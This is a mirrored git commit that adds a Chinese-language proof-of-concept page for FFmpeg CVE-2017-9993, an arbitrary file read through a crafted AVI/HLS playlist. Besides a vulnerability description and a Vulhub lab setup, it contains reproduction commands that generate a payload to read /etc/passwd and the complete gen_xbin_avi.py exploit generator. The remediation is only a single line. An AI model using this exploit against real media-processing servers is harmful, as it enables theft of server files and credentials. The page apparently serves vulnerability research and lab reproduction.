mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 10:50:23 +00:00
update CVE-2017-9993
This commit is contained in:
parent
a6a1984be0
commit
67fe39b1de
207
Web应用漏洞/FFmpeg AVI 任意文件读取漏洞 CVE-2017-9993.md
Normal file
207
Web应用漏洞/FFmpeg AVI 任意文件读取漏洞 CVE-2017-9993.md
Normal file
@ -0,0 +1,207 @@
|
|||||||
|
# FFmpeg AVI 任意文件读取漏洞 CVE-2017-9993
|
||||||
|
|
||||||
|
## 漏洞描述
|
||||||
|
|
||||||
|
FFmpeg 是一个开源的跨平台多媒体框架,提供了处理视频、音频和多媒体文件的功能。
|
||||||
|
|
||||||
|
FFmpeg 2.4.14, 2.8.12, 3.0.9, 3.1.9, 3.2.6, 3.3.2 版本之前,未正确限制 HTTP Live Streaming 文件名扩展和解复用器名称,允许攻击者通过精心构造的视频文件来读取服务器上的任意文件。
|
||||||
|
|
||||||
|
这个漏洞首次在 PHDays 2017 会议中被提出,它实际上是 [CVE-2016-1897](https://github.com/vulhub/vulhub/blob/aeca367da2660752cf745ed29e00ff0e1d21f720/ffmpeg/CVE-2016-1897) 的不完整修复导致的。FFmpeg 官方修复了 m3u 播放列表中的文件读取和 SSRF 漏洞,但攻击者通过构造恶意的 AVI 文件,类似的漏洞仍然存在于其播放列表中,这导致了 CVE-2017-9993。
|
||||||
|
|
||||||
|
参考链接:
|
||||||
|
|
||||||
|
- https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/
|
||||||
|
- https://github.com/neex/ffmpeg-avi-m3u-xbin
|
||||||
|
- https://www.anquanke.com/post/id/86337
|
||||||
|
- https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7
|
||||||
|
|
||||||
|
## 环境搭建
|
||||||
|
|
||||||
|
Vulhub 执行如下命令启动一个包含了 FFmpeg 3.2.4 的环境:
|
||||||
|
|
||||||
|
```
|
||||||
|
docker compose up -d
|
||||||
|
```
|
||||||
|
|
||||||
|
环境启动后将监听 8080 端口,访问 `http://your-ip:8080/` 即可查看应用,应用是一个简单的视频播放器,允许用户上传和播放视频。
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞复现
|
||||||
|
|
||||||
|
首先,下载漏洞利用工具并生成恶意 payload:
|
||||||
|
|
||||||
|
```shell
|
||||||
|
# 克隆漏洞利用仓库
|
||||||
|
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
|
||||||
|
cd ffmpeg-avi-m3u-xbin
|
||||||
|
|
||||||
|
# 生成payload
|
||||||
|
./gen_xbin_avi.py file:///etc/passwd exp.avi
|
||||||
|
```
|
||||||
|
|
||||||
|
在 `http://your-ip:8080/` 上传生成的 `exp.avi` 文件。后端将使用 FFmpeg 对上传的视频进行转码,在转码过程中,由于 FFmpeg 的任意文件读取漏洞,文件内容将被嵌入到转码后的视频中:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## 漏洞 POC
|
||||||
|
|
||||||
|
生成 `file_read.avi`:
|
||||||
|
|
||||||
|
```
|
||||||
|
python gen_xbin_avi.py file://<filename> file_read.avi
|
||||||
|
```
|
||||||
|
|
||||||
|
上传或在服务器端测试:
|
||||||
|
|
||||||
|
```
|
||||||
|
ffmpeg -i file_read.avi output.mp4
|
||||||
|
```
|
||||||
|
|
||||||
|
`gen_xbin_avi.py`
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
import struct
|
||||||
|
import argparse
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
|
||||||
|
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
|
||||||
|
|
||||||
|
ECHO_TEMPLATE = """### echoing {needed!r}
|
||||||
|
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
|
||||||
|
#EXTINF:1,
|
||||||
|
#EXT-X-BYTERANGE: 16
|
||||||
|
/dev/zero
|
||||||
|
#EXT-X-KEY: METHOD=NONE
|
||||||
|
"""
|
||||||
|
|
||||||
|
# AES.new('\x00'*16).decrypt('\x00'*16)
|
||||||
|
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'
|
||||||
|
|
||||||
|
FULL_PLAYLIST = """#EXTM3U
|
||||||
|
#EXT-X-MEDIA-SEQUENCE:0
|
||||||
|
{content}
|
||||||
|
#### random string to prevent caching: {rand}
|
||||||
|
#EXT-X-ENDLIST"""
|
||||||
|
|
||||||
|
EXTERNAL_REFERENCE_PLAYLIST = """
|
||||||
|
|
||||||
|
#### External reference: reading {size} bytes from {filename} (offset {offset})
|
||||||
|
#EXTINF:1,
|
||||||
|
#EXT-X-BYTERANGE: {size}@{offset}
|
||||||
|
{filename}
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
|
||||||
|
|
||||||
|
def echo_block(block):
|
||||||
|
assert len(block) == 16
|
||||||
|
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
|
||||||
|
return ECHO_TEMPLATE.format(needed=block, iv=iv)
|
||||||
|
|
||||||
|
def gen_xbin_sync():
|
||||||
|
seq = []
|
||||||
|
for i in range(60):
|
||||||
|
if i % 2:
|
||||||
|
seq.append(0)
|
||||||
|
else:
|
||||||
|
seq.append(128 + 64 - i - 1)
|
||||||
|
for i in range(4, 0, -1):
|
||||||
|
seq.append(128 + i - 1)
|
||||||
|
seq.append(0)
|
||||||
|
seq.append(0)
|
||||||
|
for i in range(12, 0, -1):
|
||||||
|
seq.append(128 + i - 1)
|
||||||
|
seq.append(0)
|
||||||
|
seq.append(0)
|
||||||
|
return seq
|
||||||
|
|
||||||
|
def test_xbin_sync(seq):
|
||||||
|
for start_ind in range(64):
|
||||||
|
path = [start_ind]
|
||||||
|
cur_ind = start_ind
|
||||||
|
while cur_ind < len(seq):
|
||||||
|
if seq[cur_ind] == 0:
|
||||||
|
cur_ind += 3
|
||||||
|
else:
|
||||||
|
assert seq[cur_ind] & (64 + 128) == 128
|
||||||
|
cur_ind += (seq[cur_ind] & 63) + 3
|
||||||
|
path.append(cur_ind)
|
||||||
|
assert cur_ind == len(seq), "problem for path {}".format(path)
|
||||||
|
|
||||||
|
def echo_seq(s):
|
||||||
|
assert len(s) % 16 == 0
|
||||||
|
res = []
|
||||||
|
for i in range(0, len(s), 16):
|
||||||
|
res.append(echo_block(s[i:i + 16]))
|
||||||
|
return ''.join(res)
|
||||||
|
|
||||||
|
test_xbin_sync(gen_xbin_sync())
|
||||||
|
|
||||||
|
SYNC = echo_seq(gen_xbin_sync())
|
||||||
|
|
||||||
|
def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
|
||||||
|
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
|
||||||
|
packet = b'00tx' + struct.pack('<I', len(content)) + content
|
||||||
|
dcpkt = b'00dc' + struct.pack('<I',
|
||||||
|
fake_packet_len) + b'\x00' * fake_packet_len
|
||||||
|
return AVI_HEADER + packet + dcpkt * fake_packets
|
||||||
|
|
||||||
|
def gen_xbin_packet_header(size):
|
||||||
|
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])
|
||||||
|
|
||||||
|
def gen_xbin_packet_playlist(filename, offset, packet_size):
|
||||||
|
result = []
|
||||||
|
while packet_size > 0:
|
||||||
|
packet_size -= 16
|
||||||
|
assert packet_size > 0
|
||||||
|
part_size = min(packet_size, 64)
|
||||||
|
packet_size -= part_size
|
||||||
|
result.append(echo_block(gen_xbin_packet_header(part_size)))
|
||||||
|
result.append(
|
||||||
|
EXTERNAL_REFERENCE_PLAYLIST.format(
|
||||||
|
size=part_size,
|
||||||
|
offset=offset,
|
||||||
|
filename=filename))
|
||||||
|
offset += part_size
|
||||||
|
return ''.join(result), offset
|
||||||
|
|
||||||
|
def gen_xbin_playlist(filename_to_read):
|
||||||
|
pls = [echo_block(XBIN_HEADER)]
|
||||||
|
next_delta = 5
|
||||||
|
for max_offs, filename in (
|
||||||
|
(5000, filename_to_read), (500, "file:///dev/zero")):
|
||||||
|
offset = 0
|
||||||
|
while offset < max_offs:
|
||||||
|
for _ in range(10):
|
||||||
|
pls_part, new_offset = gen_xbin_packet_playlist(
|
||||||
|
filename, offset, 0xf0 - next_delta)
|
||||||
|
pls.append(pls_part)
|
||||||
|
next_delta = 0
|
||||||
|
offset = new_offset
|
||||||
|
pls.append(SYNC)
|
||||||
|
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
|
||||||
|
random.choice(string.ascii_lowercase) for i in range(30)))
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
|
||||||
|
parser.add_argument(
|
||||||
|
'filename',
|
||||||
|
help='filename to be read from the server (prefix it with "file://")')
|
||||||
|
parser.add_argument('output_avi', help='where to save the avi')
|
||||||
|
args = parser.parse_args()
|
||||||
|
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
|
||||||
|
content = gen_xbin_playlist(args.filename)
|
||||||
|
avi = make_playlist_avi(content)
|
||||||
|
output_name = args.output_avi
|
||||||
|
|
||||||
|
with open(output_name, 'wb') as f:
|
||||||
|
f.write(avi)
|
||||||
|
```
|
||||||
|
|
||||||
|
## 漏洞修复
|
||||||
|
|
||||||
|
升级至安全版本。
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 58 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 537 KiB |
Loading…
x
Reference in New Issue
Block a user